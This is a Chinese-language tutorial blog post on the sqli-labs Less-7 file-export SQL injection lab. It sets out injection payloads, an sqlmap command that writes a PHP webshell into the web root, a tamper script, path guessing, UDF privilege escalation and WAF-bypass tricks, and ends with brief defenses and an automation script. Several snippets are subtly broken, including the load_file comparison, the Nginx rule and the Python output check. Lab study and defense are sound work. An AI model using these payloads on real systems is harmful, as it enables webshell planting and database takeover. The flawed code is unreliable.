ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

SQL注入实战:sqli-labs-Less-7文件导出技术解析

2026/8/3 4:39:30 拓冰建站 浏览量
SQL注入实战:sqli-labs-Less-7文件导出技术解析

1. sqli-labs-Less-7自动化注入实战解析

Less-7是sqli-labs中经典的导出文件型注入关卡,标题为"Dump into outfile",需要利用SQL注入将数据导出到服务器文件系统。这个关卡的特殊性在于它要求攻击者不仅能够执行注入,还需要掌握文件导出权限和路径构造技巧。我在实际渗透测试中发现,许多安全工程师在这一关会卡壳,主要问题出在路径猜测和权限处理上。

2. 核心原理与技术拆解

2.1 Less-7的注入点特性分析

Less-7的源码关键片段如下:

$id = $_GET['id']; $sql = "SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

这里使用了双重括号包裹注入点,这种嵌套结构会破坏常规注入语句的执行。通过测试发现,闭合括号需要精确匹配:

?id=1'))--+

才能正确闭合原始SQL语句。这种嵌套结构在真实企业系统中并不少见,特别是当开发人员过度使用防御性编码时。

2.2 文件导出条件深度剖析

要实现成功的导出文件注入,必须满足三个硬性条件:

  1. MySQL用户需具备FILE权限(通常root用户默认拥有)
  2. 知道服务器上的可写目录绝对路径
  3. secure_file_priv参数未设置为NULL

通过以下注入可以检查权限状态:

?id=1')) and (select count(*) from mysql.user where File_priv='Y')>0--+

在实战中,我习惯先用这个语句确认环境可行性,避免做无用功。

3. 自动化注入方案实现

3.1 工具选型与技术路线

我推荐使用sqlmap配合自定义tamper脚本的方案,原因有三:

  1. 原生sqlmap对Less-7的括号嵌套处理不够智能
  2. 需要精确控制导出文件路径格式
  3. 需要绕过可能的WAF规则

基础命令结构:

sqlmap -u "http://target/Less-7?id=1" --technique=E --tamper=less7.py --file-write=/tmp/shell.php --file-dest=/var/www/html/shell.php

3.2 关键tamper脚本开发

创建less7.py处理特殊语法:

#!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): return "')) " + payload + " -- "

这个脚本实现了:

  • 自动补全右括号闭合
  • 添加注释符避免语法错误
  • 保持原始payload不变

3.3 路径爆破技术实现

当不知道web目录时,可以用以下方法爆破:

  1. 常见路径字典:
paths = [ '/var/www/html/', '/opt/lampp/htdocs/', '/usr/local/apache2/htdocs/' ]
  1. 使用条件响应判断:
?id=1')) and (select if(load_file('/var/www/html/flag')=1,sleep(5),1))--+
  1. 结合sqlmap的--search参数自动探测

4. 高级绕过技术与实战技巧

4.1 权限提升方案

当遇到非root用户时,可以尝试:

  1. UDF提权(需插件目录写权限)
  2. 日志文件写入
  3. 利用MySQL漏洞如CVE-2016-6662

典型payload:

?id=1')) union select 1,2,3 into outfile '/var/lib/mysql/plugin/exploit.so'--+

4.2 防火墙绕过实践

针对Cloudflare等WAF,需要:

  1. 分块传输编码
  2. 注释混淆:
/*!50000select*/ 1 into outfile '/path'
  1. 大小写随机化

5. 防御方案与检测方法

5.1 安全加固建议

开发层面应:

  1. 禁用FILE权限
REVOKE FILE ON *.* FROM 'webuser'@'localhost';
  1. 配置my.cnf:
secure_file_priv = NULL
  1. 使用预处理语句:
$stmt = $conn->prepare("SELECT * FROM users WHERE id=?"); $stmt->bind_param("i", $id);

5.2 入侵检测规则

Nginx日志监控规则示例:

location ~* \.(php|sql)$ { if ($args ~* "into[\s+]+outfile") { return 403; access_log /var/log/nginx/sqli_block.log; } }

6. 自动化工具链构建

我常用的自动化检测流程:

  1. 使用nmap扫描开放服务
nmap -sV --script=mysql-info target.com
  1. 自动化注入测试框架
import subprocess def test_less7(url): cmd = f"sqlmap -u {url} --batch --tamper=less7" result = subprocess.run(cmd.split(), capture_output=True) return "file write successful" in result.stdout

这种自动化方案在内部渗透测试中效率提升显著,单目标检测时间从平均15分钟缩短到2分钟以内。